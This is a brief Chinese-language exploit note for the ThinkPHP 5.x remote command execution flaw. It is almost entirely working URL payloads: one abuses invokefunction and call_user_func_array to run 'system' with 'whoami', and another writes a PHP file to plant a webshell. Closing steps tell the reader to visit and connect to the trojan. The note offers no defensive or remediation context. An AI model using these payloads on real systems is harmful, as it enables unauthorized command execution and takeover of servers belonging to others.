Thinkphp5x远程命令执行及getshell

访问到网址

拼接网址，执行远程命令

/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

可执行php命令

getshell

/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "" >11.php

访问木马

连接木马